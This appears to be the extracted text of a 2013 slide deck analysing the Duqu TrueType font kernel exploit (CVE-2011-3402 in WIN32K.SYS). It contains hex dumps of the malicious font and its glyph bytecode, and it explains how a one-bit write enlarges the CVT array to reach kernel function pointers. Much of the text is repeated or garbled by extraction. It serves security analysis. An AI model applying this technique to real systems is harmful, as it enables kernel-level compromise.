79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| b8__ = 7fc0 = b8__ = 00000000 00 01 = 00 01c0 00000010 4b 90 43 63__ 00000020 1f 4d = 32 00000030 1e 20 05 b8__ 00000040 03 bd = 0e 00000050 00 61 00 3a40 = 00000060 00 00 00 00000070 7f 06 = e9 60__ 00000080 18 d3 69 00000090 db b2 = 28 b8__ 000000a0 00 16 00 000c 000000b0 00 82 = 00 000000c0 00 5e 00 60__ 000000d0 01 08 = 00 000000e0 1c d0 3a 1c__ = 000000f0 9c 11 3e 00000100 00000110 00000120 etc... Friday, March 8, 2013 PUSHW 32704 PUSHW 00 00 10 01 448 d6 00 03 bd MUL 14 00 03 bd 0a 00 03 be PUSHW ca 00 03 ba 57 00 03 ba 14912 00 00 03 ba 00 00 00 01 ADD 4b 00 03 ba 94 00 03 b9 PUSHW be 00 03 b9 12 1e 00 03 ba 00 00 03 ba ADD 23 00 03 ba db 00 03 bb JMPR 69 00 03 bd 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c 8b 9d ff 81 00 03 ba c0 01 c0 63 b8 3a 40 60 b8 00 00 00 00 00 00 00 00 Font Program 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| The name Table • Kaspersky pointed this part out: 0003bc00 0003bc10 0003bc20 0003bc30 0003bc40 0003bc50 0003bc60 0003bc70 0003bc80 0003bc90 0003bca0 0003bcb0 0003bcc0 0003bcd0 0003bce0 0003bcf0 0003bd00 0003bd10 Friday, March 8, 2013 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 69 30 74 2e 67 65 78 6c 72 72 20 74 20 72 65 20 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 62 67 30 69 20 68 72 74 61 20 56 31 65 72 65 6d 53 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 68 33 6d 41 74 76 65 72 52 65 2e 72 65 64 61 68 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 74 20 65 6c 73 65 72 44 65 72 30 20 67 20 72 6f 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6f 20 53 20 6c 20 64 52 65 67 73 30 69 69 74 6b 77 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 a9 68 49 20 72 2e 65 78 75 69 44 73 73 72 20 74 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 79 20 6f 6e 72 65 44 67 74 6c 6f 65 20 74 61 6f 69 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 72 32 77 63 69 73 65 75 65 61 6e 78 61 65 64 66 6d 00 |...b...C.o.p.y.r| |.i.g.h.t. ... .2| |.0.0.3. .S.h.o.w| |.t.i.m.e. .I.n.c| |... .A.l.l. .r.i| |.g.h.t.s. .r.e.s| |.e.r.v.e.d...D.e| |.x.t.e.r.R.e.g.u| |.l.a.r.D.e.x.t.e| |.r. .R.e.g.u.l.a| |.r.V.e.r.s.i.o.n| |. .1...0.0.D.e.x| |.t.e.r. .i.s. .a| |. .r.e.g.i.s.t.e| |.r.e.d. .t.r.a.d| |.e.m.a.r.k. .o.f| |. .S.h.o.w.t.i.m| |.e. .I.n.c......| What? Why? • Kaspersky pointed this part out: 0003bc00 0003bc10 0003bc20 0003bc30 0003bc40 0003bc50 0003bc60 0003bc70 0003bc80 0003bc90 0003bca0 0003bcb0 0003bcc0 0003bcd0 0003bce0 0003bcf0 0003bd00 0003bd10 Friday, March 8, 2013 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 69 30 74 2e 67 65 78 6c 72 72 20 74 20 72 65 20 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 62 67 30 69 20 68 72 74 61 20 56 31 65 72 65 6d 53 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 68 33 6d 41 74 76 65 72 52 65 2e 72 65 64 61 68 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 74 20 65 6c 73 65 72 44 65 72 30 20 67 20 72 6f 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6f 20 53 20 6c 20 64 52 65 67 73 30 69 69 74 6b 77 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 a9 68 49 20 72 2e 65 78 75 69 44 73 73 72 20 74 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 79 20 6f 6e 72 65 44 67 74 6c 6f 65 20 74 61 6f 69 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 72 32 77 63 69 73 65 75 65 61 6e 78 61 65 64 66 6d 00 Copyright 2003 Showtime Inc. Dexter Regular |...b...C.o.p.y.r| |.i.g.h.t. ... .2| |.0.0.3. .S.h.o.w| |.t.i.m.e. .I.n.c| |... .A.l.l. .r.i| |.g.h.t.s. .r.e.s| |.e.r.v.e.d...D.e| |.x.t.e.r.R.e.g.u| |.l.a.r.D.e.x.t.e| |.r. .R.e.g.u.l.a| |.r.V.e.r.s.i.o.n| |. .1...0.0.D.e.x| |.t.e.r. .i.s. .a| |. .r.e.g.i.s.t.e| |.r.e.d. .t.r.a.d| |.e.m.a.r.k. .o.f| |. .S.h.o.w.t.i.m| |.e. .I.n.c......| Except That... 0003bc00 0003bc10 0003bc20 0003bc30 0003bc40 0003bc50 0003bc60 0003bc70 0003bc80 0003bc90 0003bca0 0003bcb0 0003bcc0 0003bcd0 0003bce0 0003bcf0 0003bd00 0003bd10 Friday, March 8, 2013 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 69 30 74 2e 67 65 78 6c 72 72 20 74 20 72 65 20 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 62 67 30 69 20 68 72 74 61 20 56 31 65 72 65 6d 53 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 68 33 6d 41 74 76 65 72 52 65 2e 72 65 64 61 68 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 74 20 65 6c 73 65 72 44 65 72 30 20 67 20 72 6f 6e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6f 20 53 20 6c 20 64 52 65 67 73 30 69 69 74 6b 77 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 a9 68 49 20 72 2e 65 78 75 69 44 73 73 72 20 74 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 79 20 6f 6e 72 65 44 67 74 6c 6f 65 20 74 61 6f 69 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 72 32 77 63 69 73 65 75 65 61 6e 78 61 65 64 66 6d 00 Copyright 2003 Showtime Inc. Dexter Regular |...b...C.o.p.y.r| |.i.g.h.t. ... .2| |.0.0.3. .S.h.o.w| |.t.i.m.e. .I.n.c| |... .A.l.l. .r.i| |.g.h.t.s. .r.e.s| |.e.r.v.e.d...D.e| |.x.t.e.r.R.e.g.u| |.l.a.r.D.e.x.t.e| |.r. .R.e.g.u.l.a| |.r.V.e.r.s.i.o.n| |. .1...0.0.D.e.x| |.t.e.r. .i.s. .a| |. .r.e.g.i.s.t.e| |.r.e.d. .t.r.a.d| |.e.m.a.r.k. .o.f| |. .S.h.o.w.t.i.m| |.e. .I.n.c......| I finally looked this up... The television show “Dexter” did not begin broadcasting until 2006! Why Am I Telling You All This Stuff About Fonts? Friday, March 8, 2013 Kernel Bug! • This exploit works with all software which uses WIN32K.SYS for rendering fonts. (As it turns out, Chrome and FireFox use their own, immune to this bug, font engines. This makes sense for portability reasons.) • It also escapes from sandboxes, because, it’s not running in the sandbox, it’s in kernelspace! • The shellcode will also have full system privileges to everything, automatically. Friday, March 8, 2013 CVE-2011-3402 • The bug in WIN32K.SYS, is a lack of a bounds check when merging two bitmaps together at some (X,Y) offset. A Friday, March 8, 2013 X Offset V CVE-2011-3402 • The bug in WIN32K.SYS, is a lack of a bounds check when merging two bitmaps together at some (X,Y) offset. A Friday, March 8, 2013 X Offset V CVE-2011-3402 • The bug in WIN32K.SYS, is a lack of a bounds check when merging two bitmaps together at some (X,Y) offset. A V X Offset Friday, March 8, 2013 CVE-2011-3402 • The bug in WIN32K.SYS, is a lack of a bounds check when merging two bitmaps together at some (X,Y) offset. AV Friday, March 8, 2013 CVE-2011-3402 • The bug in WIN32K.SYS, is a lack of a 縦 bounds check when merging two bitmaps together at some (X,Y) offset. 書 AV Friday, March 8, 2013 き CVE-2011-3402 • The bug in WIN32K.SYS, is a lack of a bounds check when merging two bitmaps together at some (X,Y) offset. AV Friday, March 8, 2013 縦 書 き CVE-2011-3402 • The bug in WIN32K.SYS, is a lack of a bounds check when merging two bitmaps together at some (X,Y) offset. • So, you control the bitmap data... • And, you control the offset. • The actual X86 instruction however is an OR operation, not a typical MOV. • So you can only set one-bits, not zero-bits. Friday, March 8, 2013 That Bug Allows This To Happen EBX comes from TTF file 953cdce5 8a03 953cdce7 0806 mov or al,byte ptr [ebx] byte ptr [esi],al ESI comes from the earlier offset calculation Friday, March 8, 2013 That Bug Allows This To Happen This is the bitmap data of your choice EBX comes from TTF file 953cdce5 8a03 953cdce7 0806 mov or al,byte ptr [ebx] byte ptr [esi],al ESI comes from the earlier offset calculation ... And this is where you want to put it in memory! Friday, March 8, 2013 The Important Bit Friday, March 8, 2013 Exploiting This • If you could only add numbers to arbitrary kernel memory locations, which values will lead to reliable shellcode execution? Friday, March 8, 2013 Exploiting This • Whoever created this exploit, chose to use this static bitmap bug, to add one, single, bit, to a well chosen location. • It was the length of the CVT array, stored within the True Type VM’s internal global state structure. • As a consequence, the TrueType engine now believed that it held one hundred and twenty nine elements, rather than the original length of one. Friday, March 8, 2013 Exploiting This • Whoever created this exploit, chose to use this static bitmap bug, to add one, single, bit, to a well chosen location. • It was the length of the CVT array, stored within the True Type VM’s internal global state structure. • As a consequence, the TrueType engine now believed that it held one hundred and twenty nine elements, rather than the original length of one. Friday, March 8, 2013 Exploiting This • Whoever created this exploit, chose to use this static bitmap bug, to add one, single, bit, to a well chosen location. • It was the length of the CVT array, stored within the True Type VM’s internal global state structure. • As a consequence, the TrueType engine now believed that it held one hundred and twenty nine elements, rather than the original length of one. Friday, March 8, 2013 Exploiting This • As luck would have it, the CVT just happens to live, immediately below the global VM state structure in memory. Before CVT[0] GlobalState GlobalState GlobalState Friday, March 8, 2013 GlobalState GlobalState GlobalState GlobalState GlobalState GlobalState Exploiting This • As luck would have it, the CVT just happens to live, immediately below the global VM state structure in memory. After CVT[0]CVT CVTCVTCVTCVT CVTCVTCVTCVT CVTCVT GlobalState GlobalState GlobalState GlobalState GlobalState GlobalState CVT CVTCVTCVTCVT CVTCVTCVT CVTCVTCVT GlobalState GlobalState GlobalState CVTCVTCVTCVTCVT Friday, March 8, 2013 So, What Else Is In The VM State Structure? • Function pointers, [explaination goes here] Friday, March 8, 2013 57'*>@5RXQG7R'RXEOH*ULG &RGH5DQJH [ 3RSV &RGH5DQJH 3XVKHV 3RSV [' 6HWV 3XVKHV $IIHFWV 6HWV URXQGVWDWH 0'$3>@0'53>@0,$3>@0,53>@5281'>@ URXQGVWDWH $IIHFWV 0'$3>@0'53>@0,$3>@0,53>@5281'>@ 5HODWHGLQVWUXFWLRQV 5'7*>@52))>@587*>@57'*>@57+*>@ 5HODWHGLQVWUXFWLRQV 5'7*>@52))>@587*>@57*>@57+*>@ 6HWVWKHURXQGVWDWHYDULDEOHWRJULG,QWKLVVWDWHGLVWDQFHVDUHFRPSHQVDWHGIRUHQJLQHFKDUDFWHULVWLFVDQGURXQGHGW QHDUHVWLQWHJHU 6HWVWKHURXQGVWDWHYDULDEOHWRGRXEOHJULG,QWKLVVWDWHGLVWDQFHVDUHFRPSHQVDWHGIRUHQJLQHFKDUDFWHULVWLFVDQGWKHQ URXQGHGWRDQLQWHJHURUKDOILQWHJHUZKLFKHYHULVFORVHVW :DUQLQJ :DUQLQJ ,Q7UXH7\SHURXQGLQJLVV\PPHWULFDERXW]HURDQGLQFOXGHVFRPSHQVDWLRQIRUSULQWHUGRWVL]H6HH(QJLQHFRPSHQVD ,Q7UXH7\SHURXQGLQJLVV\PPHWULFDERXW]HURDQGLQFOXGHVFRPSHQVDWLRQIRUSULQWHUGRWVL]H6HH(QJLQHFRPSHQVDWLRQ XVLQJFRORURQSDJH XVLQJFRORURQSDJH 5HWXUQWR&RQWHQWV 5HWXUQWR&RQWHQWV 57+*>@5RXQG7R+DOI*ULG &RGH5DQJH [ 3RSV 3XVKHV 6HWV URXQGVWDWH $IIHFWV 0'$3>@0'53>@0,$3>@0,53>@5281'>@ 5HODWHGLQVWUXFWLRQV 5'7*>@52))>@587*>@57'*>@57*>@ 6HWVWKHURXQGVWDWHYDULDEOHWRKDOIJULG,QWKLVVWDWHGLVWDQFHVDUHFRPSHQVDWHGIRUHQJLQHFKDUDFWHULVWLFVDQGURXQG WKHQHDUHVWKDOILQWHJHU,IWKHVHRSHUDWLRQVFKDQJHWKHVLJQRIWKHGLVWDQFHWKHGLVWDQFHLVVHWWRRUDFFRU WKHRULJLQDOVLJQRIWKHGLVWDQFH :DUQLQJ Friday, March 8, 2013 57'*>@5RXQG7R'RXEOH*ULG &RGH5DQJH [ 3RSV &RGH5DQJH 3XVKHV 3RSV [' 6HWV 3XVKHV $IIHFWV 6HWV URXQGVWDWH 0'$3>@0'53>@0,$3>@0,53>@5281'>@ URXQGVWDWH $IIHFWV 0'$3>@0'53>@0,$3>@0,53>@5281'>@ 5HODWHGLQVWUXFWLRQV 5'7*>@52))>@587*>@57'*>@57+*>@ 5HODWHGLQVWUXFWLRQV 5'7*>@52))>@587*>@57*>@57+*>@ 6HWVWKHURXQGVWDWHYDULDEOHWRJULG,QWKLVVWDWHGLVWDQFHVDUHFRPSHQVDWHGIRUHQJLQHFKDUDFWHULVWLFVDQGURXQGHGW QHDUHVWLQWHJHU 6HWVWKHURXQGVWDWHYDULDEOHWRGRXEOHJULG,QWKLVVWDWHGLVWDQFHVDUHFRPSHQVDWHGIRUHQJLQHFKDUDFWHULVWLFVDQGWKHQ URXQGHGWRDQLQWHJHURUKDOILQWHJHUZKLFKHYHULVFORVHVW :DUQLQJ :DUQLQJ ,Q7UXH7\SHURXQGLQJLVV\PPHWULFDERXW]HURDQGLQFOXGHVFRPSHQVDWLRQIRUSULQWHUGRWVL]H6HH(QJLQHFRPSHQVD ,Q7UXH7\SHURXQGLQJLVV\PPHWULFDERXW]HURDQGLQFOXGHVFRPSHQVDWLRQIRUSULQWHUGRWVL]H6HH(QJLQHFRPSHQVDWLRQ XVLQJFRORURQSDJH XVLQJFRORURQSDJH 5HWXUQWR&RQWHQWV 5HWXUQWR&RQWHQWV 57+*>@5RXQG7R+DOI*ULG &RGH5DQJH [ 3RSV 3XVKHV 6HWV URXQGVWDWH $IIHFWV 0'$3>@0'53>@0,$3>@0,53>@5281'>@ 5HODWHGLQVWUXFWLRQV 5'7*>@52))>@587*>@57'*>@57*>@ 6HWVWKHURXQGVWDWHYDULDEOHWRKDOIJULG,QWKLVVWDWHGLVWDQFHVDUHFRPSHQVDWHGIRUHQJLQHFKDUDFWHULVWLFVDQGURXQG WKHQHDUHVWKDOILQWHJHU,IWKHVHRSHUDWLRQVFKDQJHWKHVLJQRIWKHGLVWDQFHWKHGLVWDQFHLVVHWWRRUDFFRU WKHRULJLQDOVLJQRIWKHGLVWDQFH :DUQLQJ Friday, March 8, 2013 57'*>@5RXQG7R'RXEOH*ULG &RGH5DQJH [ 3RSV &RGH5DQJH 3XVKHV 3RSV [' 6HWV 3XVKHV $IIHFWV 6HWV URXQGVWDWH 0'$3>@0'53>@0,$3>@0,53>@5281'>@ URXQGVWDWH $IIHFWV 0'$3>@0'53>@0,$3>@0,53>@5281'>@ 5HODWHGLQVWUXFWLRQV 5'7*>@52))>@587*>@57'*>@57+*>@ 5HODWHGLQVWUXFWLRQV 5'7*>@52))>@587*>@57*>@57+*>@ 6HWVWKHURXQGVWDWHYDULDEOHWRJULG,QWKLVVWDWHGLVWDQFHVDUHFRPSHQVDWHGIRUHQJLQHFKDUDFWHULVWLFVDQGURXQGHGW QHDUHVWLQWHJHU 6HWVWKHURXQGVWDWHYDULDEOHWRGRXEOHJULG,QWKLVVWDWHGLVWDQFHVDUHFRPSHQVDWHGIRUHQJLQHFKDUDFWHULVWLFVDQGWKHQ URXQGHGWRDQLQWHJHURUKDOILQWHJHUZKLFKHYHULVFORVHVW :DUQLQJ :DUQLQJ ,Q7UXH7\SHURXQGLQJLVV\PPHWULFDERXW]HURDQGLQFOXGHVFRPSHQVDWLRQIRUSULQWHUGRWVL]H6HH(QJLQHFRPSHQVD ,Q7UXH7\SHURXQGLQJLVV\PPHWULFDERXW]HURDQGLQFOXGHVFRPSHQVDWLRQIRUSULQWHUGRWVL]H6HH(QJLQHFRPSHQVDWLRQ XVLQJFRORURQSDJH XVLQJFRORURQSDJH 5HWXUQWR&RQWHQWV 5HWXUQWR&RQWHQWV 57+*>@5RXQG7R+DOI*ULG &RGH5DQJH [ 3RSV 3XVKHV 6HWV URXQGVWDWH $IIHFWV 0'$3>@0'53>@0,$3>@0,53>@5281'>@ 5HODWHGLQVWUXFWLRQV 5'7*>@52))>@587*>@57'*>@57*>@ 6HWVWKHURXQGVWDWHYDULDEOHWRKDOIJULG,QWKLVVWDWHGLVWDQFHVDUHFRPSHQVDWHGIRUHQJLQHFKDUDFWHULVWLFVDQGURXQG WKHQHDUHVWKDOILQWHJHU,IWKHVHRSHUDWLRQVFKDQJHWKHVLJQRIWKHGLVWDQFHWKHGLVWDQFHLVVHWWRRUDFFRU WKHRULJLQDOVLJQRIWKHGLVWDQFH :DUQLQJ Friday, March 8, 2013 3XVKHV 6HWV US $IIHFWV ,3>@6+&>@6+3>@6+=>@ 5HODWHGLQVWUXFWLRQV 653>@653>@ 6HWVDQHZYDOXHIRUUHIHUHQFHSRLQW 3RSVDSRLQWQXPEHUSIURPWKHVWDFNDQGVHWVUSWRS 5HWXUQWR&RQWHQWV 66:>@6HW6LQJOH:LGWK &RGH5DQJH [) 3RSV QYDOXHIRUVLQJOHZLGWKYDOXH)8QLW 3XVKHV 6HWV VLQJOHZLGWKYDOXH 5HODWHGLQVWUXFWLRQV 66:&,>@ (VWDEOLVKHVDQHZYDOXHIRUWKHVLQJOHZLGWKYDOXHVWDWHYDULDEOH7KHVLQJOHZLGWKYDOXHLVXVHGLQVWHDGRIDFRQWUROYDOXH WDEOHHQWU\ZKHQWKHGLIIHUHQFHEHWZHHQWKHVLQJOHZLGWKYDOXHDQGWKHJLYHQ&97HQWU\LVOHVVWKDQWKHVLQJOHZLGWKFXWLQ 3RSVDELWLQWHJHUYDOXHQIURPWKHVWDFNDQGVHWVWKHVLQJOHZLGWKYDOXHLQWKHJUDSKLFVVWDWHWRQ7KHYDOXHQLV H[SUHVVHGLQ)8QLWV 5HWXUQWR&RQWHQWV 66:&,>@6HW6LQJOH:LGWK&XW,Q &RGH5DQJH [( 3RSV QYDOXHIRUVLQJOHZLGWKFXWLQ)'RW 3XVKHV 6HWV VLQJOHZLGWKFXWLQ Friday, March 8, 2013 NT Crash Dump Friday, March 8, 2013 But anyway... GLYF ... 00000060 00000070 00000080 ... 0003bad0 0003bae0 0003baf0 0003bb00 0003bb10 0003bb20 0003bb30 0003bb40 0003bb50 0003bb60 0003bb70 0003bb80 0003bb90 0003bba0 0003bbb0 0003bbc0 ... Friday, March 8, 2013 00 00 00 00 00 03 ba d0 7f 06 e9 00 00 00 01 0c 18 d3 69 4b 00 03 ba e4 00 00 00 02 66 70 67 6d 00 03 b8 9b 67 6c 79 66 00 00 00 bc 68 65 61 64 |............fpgm| |............glyf| |..iK........head| 00 00 00 45 42 b0 42 78 03 00 42 b5 44 00 00 00 00 00 b0 43 78 b0 43 b0 b0 31 03 45 03 00 00 00 |................| |.^..............| |......BN..CEM..C| |Ea..#x..C..` ..#| |B.Pa...#x.....C | |..a ..aE..#BE..#| |BE..#B..C..P\..#| |x..C..Ca..#x..C.| |.Ca\.+#x..C..` .| |.#B.Pa\.1#x....C| |B....CB....CEB..| |....C..`E.P`..C#| |D.....C..CD17...| |.....f.........f| |.............f..| |.........r......| 00 5e a9 61 b0 01 45 b0 43 23 b0 1c b0 00 00 01 00 00 b0 b0 50 61 b0 01 61 42 02 b0 01 00 00 04 00 00 00 17 61 20 03 43 5c b0 b0 00 1f 08 03 09 00 00 b0 23 b8 b0 23 b0 b0 50 03 43 b0 00 00 00 00 01 00 78 ff 01 42 02 2b 61 43 b0 00 66 01 02 00 00 42 b0 df 61 b0 43 23 5c 42 03 43 00 04 00 00 00 4e 00 23 45 01 61 78 b0 b0 60 b0 03 09 0e 00 00 00 b0 b0 01 b0 0d 00 23 b0 b0 43 01 01 72 00 00 43 01 80 23 00 23 43 78 00 50 44 04 00 00 00 01 45 60 1c 42 50 78 b0 b0 43 60 31 09 0c 03 00 00 4d 20 b0 45 5c b0 01 01 45 b0 37 00 00 00 00 01 b0 b0 00 b0 b0 01 60 b0 42 00 01 00 66 01 This is what was 00 00 00 00 43 02 18 43 20 02 b8 43 01 00 00 04 00 01 43 23 20 23 23 b0 b0 43 ff 23 00 66 03 09 win32k!itrp_ExecuteGlyphPgm was executing GLYF Program ... 00000060 00000070 00000080 ... 0003bad0 0003bae0 0003baf0 0003bb00 0003bb10 0003bb20 0003bb30 0003bb40 0003bb50 0003bb60 0003bb70 0003bb80 0003bb90 0003bba0 0003bbb0 0003bbc0 ... Friday, March 8, 2013 00 00 00 00 00 03 ba d0 7f 06 e9 00 00 00 01 0c 18 d3 69 4b 00 03 ba e4 00 00 00 02 66 70 67 6d 00 03 b8 9b 67 6c 79 66 00 00 00 bc 68 65 61 64 |............fpgm| |............glyf| |..iK........head| 00 00 00 45 42 b0 42 78 03 00 42 b5 44 00 00 00 00 00 b0 43 78 b0 43 b0 b0 31 03 45 03 00 00 00 |................| |.^..............| |......BN..CEM..C| |Ea..#x..C..` ..#| |B.Pa...#x.....C | |..a ..aE..#BE..#| |BE..#B..C..P\..#| |x..C..Ca..#x..C.| |.Ca\.+#x..C..` .| |.#B.Pa\.1#x....C| |B....CB....CEB..| |....C..`E.P`..C#| |D.....C..CD17...| |.....f.........f| |.............f..| |.........r......| 169 bytes long 00 5e a9 61 b0 01 45 b0 43 23 b0 1c b0 00 00 01 00 00 b0 b0 50 61 b0 01 61 42 02 b0 01 00 00 04 00 00 00 17 61 20 03 43 5c b0 b0 00 1f 08 03 09 00 00 b0 23 b8 b0 23 b0 b0 50 03 43 b0 00 00 00 00 01 00 78 ff 01 42 02 2b 61 43 b0 00 66 01 02 00 00 42 b0 df 61 b0 43 23 5c 42 03 43 00 04 00 00 00 4e 00 23 45 01 61 78 b0 b0 60 b0 03 09 0e 00 00 00 b0 b0 01 b0 0d 00 23 b0 b0 43 01 01 72 00 00 43 01 80 23 00 23 43 78 00 50 44 04 00 00 00 01 45 60 1c 42 50 78 b0 b0 43 60 31 09 0c 03 00 00 4d 20 b0 45 5c b0 01 01 45 b0 37 00 00 00 00 01 b0 b0 00 b0 b0 01 60 b0 42 00 01 00 66 01 00 00 00 00 43 02 18 43 20 02 b8 43 01 00 00 04 00 01 43 23 20 23 23 b0 b0 43 ff 23 00 66 03 09 GLYF Program ... 00000060 00000070 00000080 ... 0003bad0 0003bae0 0003baf0 0003bb00 0003bb10 0003bb20 0003bb30 0003bb40 0003bb50 0003bb60 0003bb70 0003bb80 0003bb90 0003bba0 0003bbb0 0003bbc0 ... Friday, March 8, 2013 00 00 00 00 00 03 ba d0 7f 06 e9 00 00 00 01 0c 18 d3 69 4b 00 03 ba e4 00 00 00 02 66 70 67 6d 00 03 b8 9b 67 6c 79 66 00 00 00 bc 68 65 61 64 |............fpgm| |............glyf| |..iK........head| 00 00 00 45 42 b0 42 78 03 00 42 b5 44 00 00 00 00 00 b0 43 78 b0 43 b0 b0 31 03 45 03 00 00 00 |................| |.^..............| |......BN..CEM..C| |Ea..#x..C..` ..#| |B.Pa...#x.....C | |..a ..aE..#BE..#| |BE..#B..C..P\..#| |x..C..Ca..#x..C.| |.Ca\.+#x..C..` .| |.#B.Pa\.1#x....C| |B....CB....CEB..| |....C..`E.P`..C#| |D.....C..CD17...| |.....f.........f| |.............f..| |.........r......| 00 5e a9 61 b0 01 45 b0 43 23 b0 1c b0 00 00 01 00 00 b0 b0 50 61 b0 01 61 42 02 b0 01 00 00 04 00 00 00 17 61 20 03 43 5c b0 b0 00 1f 08 03 09 00 00 b0 23 b8 b0 23 b0 b0 50 03 43 b0 00 00 00 00 01 00 78 ff 01 42 02 2b 61 43 b0 00 66 01 02 00000: 00002: 00004: 00005: 00006: 00008: 00009: 0000A: 0000B: 00 00 42 b0 df 61 b0 43 23 5c 42 03 43 00 04 00 00 00 4e 00 23 45 01 61 78 b0 b0 60 b0 03 09 0e 00 00 00 b0 b0 01 b0 0d 00 23 b0 b0 43 01 01 72 PUSHB 0 PUSHB 0 WS FLIPOFF PUSHB 0 RS RCVT FLIPON PUSHB 0 00 00 43 01 80 23 00 23 43 78 00 50 44 04 00 00 00 01 45 60 1c 42 50 78 b0 b0 43 60 31 09 0c 03 00 00 4d 20 b0 45 5c b0 01 01 45 b0 37 00 00 00 00 01 b0 b0 00 b0 b0 01 60 b0 42 00 01 00 66 01 00 00 00 00 43 02 18 43 20 02 b8 43 01 00 00 04 00 01 43 23 20 23 23 b0 b0 43 ff 23 00 66 03 09 GLYF Program ... 00000060 00000070 00000080 ... 0003bad0 0003bae0 0003baf0 0003bb00 0003bb10 0003bb20 0003bb30 0003bb40 0003bb50 0003bb60 0003bb70 0003bb80 0003bb90 0003bba0 0003bbb0 0003bbc0 ... Friday, March 8, 2013 00 00 00 00 00 03 ba d0 7f 06 e9 00 00 00 01 0c 18 d3 69 4b 00 03 ba e4 00 00 00 02 66 70 67 6d 00 03 b8 9b 67 6c 79 66 00 00 00 bc 68 65 61 64 |............fpgm| |............glyf| |..iK........head| 00 00 00 45 42 b0 42 78 03 00 42 b5 44 00 00 00 00 00 b0 43 78 b0 43 b0 b0 31 03 45 03 00 00 00 |................| |.^..............| |......BN..CEM..C| |Ea..#x..C..` ..#| |B.Pa...#x.....C | |..a ..aE..#BE..#| |BE..#B..C..P\..#| |x..C..Ca..#x..C.| |.Ca\.+#x..C..` .| |.#B.Pa\.1#x....C| |B....CB....CEB..| |....C..`E.P`..C#| |D.....C..CD17...| |.....f.........f| |.............f..| |.........r......| 00 5e a9 61 b0 01 45 b0 43 23 b0 1c b0 00 00 01 00 00 b0 b0 50 61 b0 01 61 42 02 b0 01 00 00 04 00 00 00 17 61 20 03 43 5c b0 b0 00 1f 08 03 09 00 00 b0 23 b8 b0 23 b0 b0 50 03 43 b0 00 00 00 00 01 00 78 ff 01 42 02 2b 61 43 b0 00 66 01 02 00000: 00002: 00004: 00005: 00006: 00008: 00009: 0000A: 0000B: 00 00 42 b0 df 61 b0 43 23 5c 42 03 43 00 04 00 00 00 4e 00 23 45 01 61 78 b0 b0 60 b0 03 09 0e 00 00 00 b0 b0 01 b0 0d 00 23 b0 b0 43 01 01 72 PUSHB 0 PUSHB 0 WS FLIPOFF PUSHB 0 RS RCVT FLIPON PUSHB 0 00 00 43 01 80 23 00 23 43 78 00 50 44 04 00 00 00 01 45 60 1c 42 50 78 b0 b0 43 60 31 09 0c 03 00 00 4d 20 b0 45 5c b0 01 01 45 b0 37 00 00 00 00 01 b0 b0 00 b0 b0 01 60 b0 42 00 01 00 66 01 00 00 00 00 43 02 18 43 20 02 b8 43 01 00 00 04 00 01 43 23 20 23 23 b0 b0 43 ff 23 00 66 03 09 GLYF Program ... 00000060 00000070 00000080 ... 0003bad0 0003bae0 0003baf0 0003bb00 0003bb10 0003bb20 0003bb30 0003bb40 0003bb50 0003bb60 0003bb70 0003bb80 0003bb90 0003bba0 0003bbb0 0003bbc0 ... Friday, March 8, 2013 00 00 00 00 00 03 ba d0 7f 06 e9 00 00 00 01 0c 18 d3 69 4b 00 03 ba e4 00 00 00 02 66 70 67 6d 00 03 b8 9b 67 6c 79 66 00 00 00 bc 68 65 61 64 |............fpgm| |............glyf| |..iK........head| 00 00 00 45 42 b0 42 78 03 00 42 b5 44 00 00 00 00 00 b0 43 78 b0 